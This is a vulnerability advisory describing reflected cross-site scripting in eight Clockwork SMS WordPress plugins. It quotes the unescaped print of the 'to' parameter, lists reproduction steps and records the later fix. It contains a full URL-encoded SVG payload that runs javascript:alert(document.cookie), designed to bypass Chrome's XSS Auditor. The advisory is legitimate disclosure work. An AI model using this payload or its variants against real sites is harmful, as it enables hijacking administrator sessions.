Eight different Clockwork SMS WordPress plugins suffer from cross site scripting vulnerabilities.
d6223c99604b74a7edf6c5cf012bfac5225d49aadcb5e534936a2270466a4e5b
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Discoverer: Elias Dimopoulos
Linkedin: https://gr.linkedin.com/in/dimopouloselias
Vulnerability Type: Reflected XSS via GET parameter
"to".
Vendor of the affected plugins: https://www.clockworksms.com/plugins/
Affected Plugins:
----------------------------------------------------------------------------------------------------------
1. Clockwork Free and Paid SMS Notifications
URL: https://wordpress.org/plugins/mediaburst-email-to-sms/
Version 2.0.3 | By Clockwork
2. Two-Factor Authentication - Clockwork SMS
URL: https://wordpress.org/plugins/clockwork-two-factor-authentication/
Version 1.0.2 | By Clockwork
3. Booking Calendar - Clockwork SMS
URL: https://wordpress.org/plugins/booking-sms/
Version 1.0.5 |By Mediaburst
4. Contact Form 7 - Clockwork SMS
URL: https://wordpress.org/plugins/contact-form-7-sms-addon/
Version 2.3.0 |By Mediaburst
5. Fast Secure Contact Form - Clockwork SMS
URL: https://wordpress.org/plugins/fscf-sms/
Version 2.1.2|By Mediaburst
6. Formidable - Clockwork SMS
URL: https://wordpress.org/plugins/formidable-sms/
Version 1.0.2|By Mediaburst
7. Gravity Forms - Clockwork SMS
URL: https://wordpress.org/plugins/gravity-forms-sms-notifications/
Version 2.2 |By Mediaburst
8. WP e-Commerce - Clockwork SMS
URL: https://wordpress.org/plugins/mediaburst-ecommerce-sms-notifications/
Version 2.0.5 | By Mediaburst
----------------------------------------------------------------------------------------------------------
Details:
The vulnerability lies in the "to" parameter and can cause reflected XSS
vulnerability.
The issue is on the file
plugins/clockwork-two-factor-authentication/templates/clockwork-test-message.php
line 11:
<p>You should now have received a text message to <?php print
$_GET['to']; ?>. If you have not received this, copy and paste the
contents of the textbox below into a support request.</p>
the vulnerable code is the following:
print $_GET['to'];
There is a print of the variable "to", which can be controlled by the
user. This leads to reflected XSS vulnerability.
The vulnerability can be exploited against an administrator by using the
following url:
https://victim/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E
A logged in Administrator, who will click on the above link, he will be
introduced with a video picture. When he will click the video, the
javascript code (an alert box for this poc) will be executed.
In this case, the javascript code is just an alert box with the cookie,
however any kind of malicious javascript code can be used.
Reproduce:
1. Login to your wordpress as an admin.
2. Access the following link:
https://yoursite/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E
3. You should see the fake video.
4. Click to see the video.
5. The alert box should be executed.
I used this kind of payload in order to bypass the Chrome XSS Auditor.
Update on 12 Nov:
This payload does not work anymore with Chrome. You can validate the
issue from the source code in the following URL or, you can alter the
payload in order to trigger the XSS.
Changes in the code:
https://plugins.trac.wordpress.org/changeset/1781424/clockwork-two-factor-authentication/trunk/templates/clockwork-test-message.php?old=706348&old_path=clockwork-two-factor-authentication%2Ftrunk%2Ftemplates%2Fclockwork-test-message.php
Environment:
The vulnerability has been tested against:
Two-Factor Authentication - Clockwork SMS Version: 1.0.2
WordPress 4.8.3 running Twenty Seventeen theme.
Chrome Version 61.0.3163.100 (Official Build) (64-bit)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Note 1: The dynamic analysis (PoC) has been performed against the
"Two-Factor Authentication - Clockwork SMS" . However, the file
clockwork-test-message.php with the vulnerable code in line 11 , exists
in every of the 8 aforementioned plugins.
Note 2: gr33tz for the initial payload @brutelogic
(https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------